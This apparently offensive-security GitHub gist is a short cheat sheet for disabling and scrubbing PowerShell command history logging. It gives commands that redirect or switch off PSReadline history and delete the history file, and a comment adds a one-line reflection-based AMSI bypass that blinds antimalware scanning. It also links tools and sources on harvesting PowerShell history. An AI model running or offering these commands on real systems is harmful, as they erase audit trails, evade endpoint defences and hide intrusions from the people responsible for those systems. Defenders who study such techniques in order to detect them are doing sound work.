Skip to content

Instantly share code, notes, and snippets.

@hook-s3c
Created November 15, 2018 18:53
Show Gist options
  • Save hook-s3c/7363a856c3cdbadeb71085147f042c1a to your computer and use it in GitHub Desktop.
Save hook-s3c/7363a856c3cdbadeb71085147f042c1a to your computer and use it in GitHub Desktop.
Disable Powershell logging
Logs are held by default in the user profile:
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
this directory also hosts per-application logs
--------------------------------------------------------------
Disable Logging...
remove-module psreadline
Set-PSReadlineOption -HistorySavePath path
- to change the default path of log file
Set-PSReadlineOption –HistorySaveStyle SaveNothing
- to disable logging feature
Other;
- Get-Credential
- variable = Read-Host -AsSecureString "mysecurestring"
--------------------------------------------------------------
Scrubbing;
del (Get-PSReadlineOption).HistorySavePath
--------------------------------------------------------------
Extracting logs with python;
https://github.com/KalibRx/PoshHarvestPy
--------------------------------------------------------------
Sources...
https://twitter.com/DissectMalware/status/1062879286749773824
https://twitter.com/nikhil_mitt/status/1062382974744887296
https://twitter.com/DevinStokes/status/1062760239781408768
https://twitter.com/IISResetMe/status/1062594906626187264
https://blogs.msdn.microsoft.com/stevelasker/2016/03/25/clear-history-powershell-doesnt-clear-the-history-3/
https://0xdf.gitlab.io/2018/11/08/powershell-history-file.html
https://yunolikerobots.com/blog/f/log-everything-right
@hook-s3c
Copy link
Author

@hook-s3c
Copy link
Author

@hook-s3c
Copy link
Author

hook-s3c commented Dec 3, 2018

Cut off AMSI;

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

https://blog.xpnsec.com/exploring-powershell-amsi-and-logging-evasion/

@hook-s3c
Copy link
Author

hook-s3c commented Dec 4, 2018

Blueteam logging presentation, Defcon 26;
https://www.youtube.com/watch?v=3yYD3CYiwx4

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment